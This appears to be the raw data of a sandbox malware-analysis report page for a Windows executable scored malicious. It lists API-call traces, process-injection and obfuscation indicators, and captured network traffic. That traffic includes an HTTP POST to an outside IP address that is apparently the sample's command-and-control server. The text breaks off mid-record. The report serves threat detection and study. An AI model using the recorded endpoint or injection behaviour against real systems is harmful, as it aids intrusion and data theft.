24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 88:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample b77f4d3db225… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample b77f4d3db225…. Malware family: Malware. Threat score 100/100. 6/28 AV engines flagged this file. 16 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b77f4d3db225704207278652cd1a4aa67b4bd324765d977e60124652672063dc","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","b77f4d3db225704207278652cd1a4aa67b4bd324765d977e60124652672063dc"],"about":{"@type":"SoftwareApplication","name":"922d837e2362b26f6f5959eb3dee8ac0.exe","applicationCategory":["peexe","executable"],"identifier":"b77f4d3db225704207278652cd1a4aa67b4bd324765d977e60124652672063dc","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":6,"total":28},"behavioralIndicators":{"malicious":16,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4cc,"922d837e2362b26f6f5959eb3dee8ac0.exe" called "FindResourceA" with parameter "9704268" - (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "FindResourceA" with parameter "1635756" - (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "FindResourceA" with parameter "9704136" - (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "FindResourceA" with parameter "9704144" - (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "FindResourceA" with parameter "9704172" - (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "FindResourceA" with parameter "9704200" - (UID: 00000000-00004892) "OT6Dd58.exe" called "FindResourceA" with parameter "1570652" - (UID: 00000000-00005132) "OT6Dd58.exe" called "FindResourceA" with parameter "2298568" - (UID: 00000000-00005132) "OT6Dd58.exe" called "FindResourceA" with parameter "2298576" - (UID: 00000000-00005132) "OT6Dd58.exe" called "FindResourceA" with parameter "2298604" - (UID: 00000000-00005132) "OT6Dd58.exe" called "FindResourceA" with parameter "2298616" - (UID: 00000000-00005132) "OT6Dd58.exe" called "FindResourceA" with parameter "2298632" - (UID: 00000000-00005132)26:Taa3,"922d837e2362b26f6f5959eb3dee8ac0.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9750496'}" (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9750608'}" (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9750640'}" (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9750624'}" (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9750544'}" (UID: 00000000-00004892) "OT6Dd58.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2345040'}" (UID: 00000000-00005132) "OT6Dd58.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2345072'}" (UID: 00000000-00005132) "OT6Dd58.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2345056'}" (UID: 00000000-00005132) "OT6Dd58.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2345024'}" (UID: 00000000-00005132) "OT6Dd58.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2344976'}" (UID: 00000000-00005132) "pt9KK68.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12372048'}" (UID: 00000000-00005296) "pt9KK68.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12372080'}" (UID: 00000000-00005296) "pt9KK68.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12372064'}" (UID: 00000000-00005296) "pt9KK68.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12372032'}" (UID: 00000000-00005296) "pt9KK68.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12371984'}" (UID: 00000000-00005296) "Vd6Yw65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '14207056'}" (UID: 00000000-00005312) "Vd6Yw65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '14207088'}" (UID: 00000000-00005312) "Vd6Yw65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '14207072'}" (UID: 00000000-00005312) "Vd6Yw65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '14207040'}" (UID: 00000000-00005312) "Vd6Yw65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '14206992'}" (UID: 00000000-00005312) "vQ1qt36.exe" called "LoadResource with parameter {'hModule': '46530561', 'hResInfo': '46657312'}" (UID: 00000000-00005452) "vQ1qt36.exe" called "LoadResource with parameter {'hModule': '46530561', 'hResInfo': '46632464'}" (UID: 00000000-00005452)27:T81f,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "2Td9134.exe.567271921") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "2Td9134.exe.567271921") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp")28:T76b,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp")29:T695,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "2Td9134.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "2Td9134.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "clip_1_.dll") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "clip_1_.dll") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "_tJ17sGyxOX_1_.js") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "_tJ17sGyxOX_1_.js") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "2Td9134.exe.567271921") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "2Td9134.exe.567271921") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp")2a:T147e,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-44-00942AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-44-00942AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-74-009436EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-74-009436EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-40-00942267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-40-00942267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-29-009452B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-29-009452B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-71-00942CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-71-00942CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-63-00945467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-63-00945467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-33-00942F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-33-00942F1D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-43-00941AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-43-00941AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-42-0094202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00004892-58566-42-0094202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-42-0094202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-72-009418A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-72-009418A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-60-0094597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-60-0094597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-73-009417EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-73-009417EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-66-00942630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-66-00942630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-16-009444B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-16-009444B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-37-00943FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-37-00943FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-78-00945C9E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-78-00945C9E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-26-009424E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-26-009424E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-22-0094681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-22-0094681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-15-00941F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-15-00941F90 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00004892-58566-31-00942390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00004892-58566-31-00942390 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00004892-58566-83-00947155 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00004892-58566-83-00947155 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00004892-58566-83-00947155 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00004892-58566-83-00947155 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00004892-58566-83-00947155 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-62-009455A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-62-009455A0 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00004892-58566-36-00943BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00004892-58566-36-00943BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-57-00946298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-57-00946298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004892-58566-52-00944EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004892-58566-52-00944EFD2b:T2003,Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClpMx3iVrg2hCmDSGXhsge HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClpMx3iVrg2hCmDSGXhsge HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClpMx3iVrg2hCmDSGXhsge HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClpMx3iVrg2hCmDSGXhsge HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEVPiCzvQdHKEiO6fm6h1os%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEVPiCzvQdHKEiO6fm6h1os%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEVPiCzvQdHKEiO6fm6h1os%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEVPiCzvQdHKEiO6fm6h1os%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDznawigtEEIxJzi7y6NmOs HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDznawigtEEIxJzi7y6NmOs HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDznawigtEEIxJzi7y6NmOs HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDznawigtEEIxJzi7y6NmOs HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"2c:T469,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Decrypted SSL network traffic Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to decode base64 data Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly]2d:T18c4,"922d837e2362b26f6f5959eb3dee8ac0.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004892) "OT6Dd58.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005132) "pt9KK68.exe" called "RtlGetVersion" with parameter 